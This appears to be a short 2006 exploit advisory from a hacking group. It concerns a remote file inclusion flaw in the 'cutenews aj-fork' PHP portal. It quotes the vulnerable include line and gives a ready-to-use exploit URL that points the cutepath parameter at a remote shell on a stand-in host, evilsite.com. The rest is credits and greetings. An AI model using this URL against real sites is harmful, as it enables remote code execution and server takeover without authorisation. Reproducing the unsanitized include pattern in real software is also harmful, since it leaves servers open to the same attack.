30 lines
No EOL
1 KiB
Text
30 lines
No EOL
1 KiB
Text
===========================================================================================================
|
|
DeltasecurityTEAM
|
|
www.Deltasecurity.ir
|
|
===========================================================================================================
|
|
* Portal Name : cutenews aj-fork
|
|
|
|
* Class = Remote File Inclusion ;
|
|
|
|
* Download =http://mesh.dl.sourceforge.net/sourceforge/ajfork/cn_aj_167.zip
|
|
|
|
* Found by = DeltahackingTEAM
|
|
|
|
* User In Delta Team (Tanha )
|
|
|
|
----------------------------------------------------------------------------------------------------------
|
|
- Vulnerable Code
|
|
--------------------
|
|
|
|
include($cutepath.'/inc/plugins.php');
|
|
|
|
++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
- Exploit:
|
|
http://[target]/[Path]/inc/shows.inc.php?cutepath=http://evilsite.com/shell?
|
|
|
|
----------------------------------------------------------------------------------------------------------
|
|
Sp Tnx For All Admin And All Member EXCEPT DR.TROJAN
|
|
Sp Tnx For Dr.Pantagon For Learning Find Bug
|
|
|
|
# milw0rm.com [2006-12-04] |